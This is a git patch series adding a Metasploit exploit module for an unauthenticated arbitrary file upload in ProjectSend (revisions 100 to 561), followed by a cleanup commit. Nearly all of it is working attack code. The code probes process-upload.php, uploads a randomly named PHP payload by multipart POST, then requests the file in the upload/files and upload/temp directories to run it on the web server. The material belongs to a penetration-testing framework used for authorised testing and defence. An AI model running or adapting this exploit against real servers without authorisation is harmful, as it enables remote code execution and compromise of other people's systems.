From 5c82b8a827f35f0d0a2f53d15bcefc4f401d23f6 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 23 Dec 2014 10:53:03 +0000 Subject: [PATCH 1/2] Add ProjectSend Arbitrary File Upload module --- .../unix/webapp/projectsend_upload_exec.rb | 164 ++++++++++++++++++ 1 file changed, 164 insertions(+) create mode 100644 modules/exploits/unix/webapp/projectsend_upload_exec.rb diff --git a/modules/exploits/unix/webapp/projectsend_upload_exec.rb b/modules/exploits/unix/webapp/projectsend_upload_exec.rb new file mode 100644 index 0000000000..831618c204 --- /dev/null +++ b/modules/exploits/unix/webapp/projectsend_upload_exec.rb @@ -0,0 +1,164 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'ProjectSend Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in ProjectSend + revisions 100 to 561. The 'process-upload.php' file allows + unauthenticated users to upload PHP files resulting in remote + code execution as the web server user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Fady Mohammed Osman', # Discovery and Exploit + 'Brendan Coles ' # Metasploit + ], + 'References' => + [ + ['EDB', '35424'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Arch' => ARCH_PHP, + 'Platform' => 'php', + 'Targets' => + [ + # Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu) + ['ProjectSend (PHP Payload)', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Dec 02 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/']) + ], self.class) + end + + # + # Checks if target upload functionality is working + # + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'process-upload.php') + ) + if !res + vprint_error("#{peer} - Connection timed out") + return Exploit::CheckCode::Unknown + elsif res.code.to_i == 404 + vprint_error("#{peer} - No process-upload.php found") + return Exploit::CheckCode::Safe + elsif res.code.to_i == 500 + vprint_error("#{peer} - Unable to write file") + return Exploit::CheckCode::Safe + elsif res.code.to_i == 200 && res.body =~ /<\?php/ + vprint_error("#{peer} - File process-upload.php is not executable") + return Exploit::CheckCode::Safe + elsif res.code.to_i == 200 && res.body =~ /sys.config.php/ + vprint_error("#{peer} - Software is misconfigured") + return Exploit::CheckCode::Safe + elsif res.code.to_i == 200 && res.body =~ /jsonrpc/ + # response on revision 118 onwards includes the file name + if res.body =~ /NewFileName/ + return Exploit::CheckCode::Vulnerable + # response on revisions 100 to 117 does not include the file name + elsif res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/ + return Exploit::CheckCode::Appears + elsif res.body =~ /Failed to open output stream/ + vprint_error("#{peer} - Upload folder is not writable") + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Detected + end + else + return Exploit::CheckCode::Safe + end + end + + # + # Upload PHP payload + # + def upload + fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php" + php = "" + data = Rex::MIME::Message.new + data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}")) + post_data = data.to_s + print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + ) + if !res + fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") + elsif res.code.to_i == 404 + fail_with(Failure::NotFound, "#{peer} - No process-upload.php found") + elsif res.code.to_i == 500 + fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") + elsif res.code.to_i == 200 && res.body =~ /Failed to open output stream/ + fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable") + elsif res.code.to_i == 200 && res.body =~ /<\?php/ + fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable") + elsif res.code.to_i == 200 && res.body =~ /sys.config.php/ + fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured") + # response on revision 118 onwards includes the file name + elsif res.code.to_i == 200 && res.body =~ /NewFileName/ + print_good("#{peer} - Payload uploaded successfully (#{fname})") + return fname + # response on revisions 100 to 117 does not include the file name + elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/ + print_warning("#{peer} - File upload may have failed") + return fname + else + vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}") + fail_with(Failure::Unknown, "#{peer} - Something went wrong") + end + end + + # + # Execute uploaded file + # + def exec(upload_path) + print_status("#{peer} - Executing #{upload_path}...") + res = send_request_raw( + 'uri' => normalize_uri(target_uri.path, upload_path) + ) + if !res + print_error("#{peer} - Request timed out while executing") + elsif res.code.to_i == 404 + vprint_error("#{peer} - Not found: #{upload_path}") + elsif res.code.to_i == 200 + vprint_good("#{peer} - Executed #{upload_path}") + else + print_error("#{peer} - Unexpected reply") + end + end + + # + # upload && execute + # + def exploit + fname = upload + register_files_for_cleanup(fname) + exec("upload/files/#{fname}") # default for r-221 onwards + exec("upload/temp/#{fname}") # default for r-100 to r-219 + end +end From b5b0be90010e034201311c02acf8aad8c2b91efa Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 26 Dec 2014 11:24:02 -0600 Subject: [PATCH 2/2] Do minor cleanup --- .../unix/webapp/projectsend_upload_exec.rb | 28 ++++++++++--------- 1 file changed, 15 insertions(+), 13 deletions(-) diff --git a/modules/exploits/unix/webapp/projectsend_upload_exec.rb b/modules/exploits/unix/webapp/projectsend_upload_exec.rb index 831618c204..5a3da1f6fb 100644 --- a/modules/exploits/unix/webapp/projectsend_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectsend_upload_exec.rb @@ -67,20 +67,20 @@ class Metasploit3 < Msf::Exploit::Remote elsif res.code.to_i == 500 vprint_error("#{peer} - Unable to write file") return Exploit::CheckCode::Safe - elsif res.code.to_i == 200 && res.body =~ /<\?php/ + elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/ vprint_error("#{peer} - File process-upload.php is not executable") return Exploit::CheckCode::Safe - elsif res.code.to_i == 200 && res.body =~ /sys.config.php/ + elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/ vprint_error("#{peer} - Software is misconfigured") return Exploit::CheckCode::Safe - elsif res.code.to_i == 200 && res.body =~ /jsonrpc/ + elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/ # response on revision 118 onwards includes the file name - if res.body =~ /NewFileName/ + if res.body && res.body =~ /NewFileName/ return Exploit::CheckCode::Vulnerable # response on revisions 100 to 117 does not include the file name - elsif res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/ + elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/ return Exploit::CheckCode::Appears - elsif res.body =~ /Failed to open output stream/ + elsif res.body && res.body =~ /Failed to open output stream/ vprint_error("#{peer} - Upload folder is not writable") return Exploit::CheckCode::Safe else @@ -113,14 +113,14 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::NotFound, "#{peer} - No process-upload.php found") elsif res.code.to_i == 500 fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") - elsif res.code.to_i == 200 && res.body =~ /Failed to open output stream/ + elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/ fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable") - elsif res.code.to_i == 200 && res.body =~ /<\?php/ + elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/ fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable") - elsif res.code.to_i == 200 && res.body =~ /sys.config.php/ + elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/ fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured") # response on revision 118 onwards includes the file name - elsif res.code.to_i == 200 && res.body =~ /NewFileName/ + elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/ print_good("#{peer} - Payload uploaded successfully (#{fname})") return fname # response on revisions 100 to 117 does not include the file name @@ -139,10 +139,10 @@ class Metasploit3 < Msf::Exploit::Remote def exec(upload_path) print_status("#{peer} - Executing #{upload_path}...") res = send_request_raw( - 'uri' => normalize_uri(target_uri.path, upload_path) + { 'uri' => normalize_uri(target_uri.path, upload_path) }, 5 ) if !res - print_error("#{peer} - Request timed out while executing") + print_status("#{peer} - Request timed out while executing") elsif res.code.to_i == 404 vprint_error("#{peer} - Not found: #{upload_path}") elsif res.code.to_i == 200 @@ -159,6 +159,8 @@ class Metasploit3 < Msf::Exploit::Remote fname = upload register_files_for_cleanup(fname) exec("upload/files/#{fname}") # default for r-221 onwards - exec("upload/temp/#{fname}") # default for r-100 to r-219 + unless session_created? + exec("upload/temp/#{fname}") # default for r-100 to r-219 + end end end